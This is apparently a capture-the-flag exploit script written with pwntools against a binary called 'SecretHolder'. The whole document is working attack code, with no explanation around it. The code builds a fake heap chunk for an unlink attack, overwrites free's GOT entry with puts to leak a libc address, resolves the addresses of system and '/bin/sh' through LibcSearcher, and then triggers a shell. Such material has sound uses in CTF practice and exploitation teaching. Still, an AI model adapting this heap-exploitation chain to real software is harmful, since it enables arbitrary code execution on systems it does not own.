1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| from pwn import * from LibcSearcher import * sh = process('./SecretHolder')
elf = ELF('./SecretHolder')
huge_secret = 0x6020A8 bss_addr = 0x602090 free_got = elf.got['free'] puts_plt = elf.plt['puts'] read_got = elf.got['read'] def new(h_type,content): sh.sendlineafter('3. Renew secret','1') sh.sendlineafter('3. Huge secret',str(h_type)) sh.sendlineafter('Tell me your secret:',content) def delete(h_type): sh.sendlineafter('3. Renew secret','2') sh.sendlineafter('3. Huge secret',str(h_type)) def edit(h_type,content): sh.sendlineafter('3. Renew secret','3') sh.sendlineafter('3. Huge secret',str(h_type)) sh.sendafter('Tell me your secret:',content)
new(3,'a'*0x100) delete(3)
new(1,'b'*0x10)
new(2,'c'*0x100)
delete(1) delete(2)
fake_chunk = p64(0) + p64(0x21)
fake_chunk += p64(huge_secret-0x18) + p64(huge_secret-0x10) payload = fake_chunk.ljust(0x20,'\x00')
payload += p64(0x20) + p64(0x90) + 'c'*0x80
payload += p64(0x90) + p64(0x81) + 'd'*0x70
payload += p64(0) + p64(0x81)
new(3,payload)
delete(2)
payload = p64(0) * 2 + p64(free_got) + p64(bss_addr) + p64(read_got) + p32(1)*3 edit(3,payload)
edit(2,p64(puts_plt))
delete(1) sh.recvuntil('\n') read_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00')) libc = LibcSearcher('read',read_addr) libc_base = read_addr - libc.dump('read') system_addr = libc_base + libc.dump('system') binsh_addr = libc_base + libc.dump('str_bin_sh') print 'libc_base=',hex(read_addr) print 'system_addr=',hex(system_addr)
edit(2,p64(system_addr))
edit(3,p64(0) * 2 + p64(binsh_addr))
delete(2) sh.interactive()
|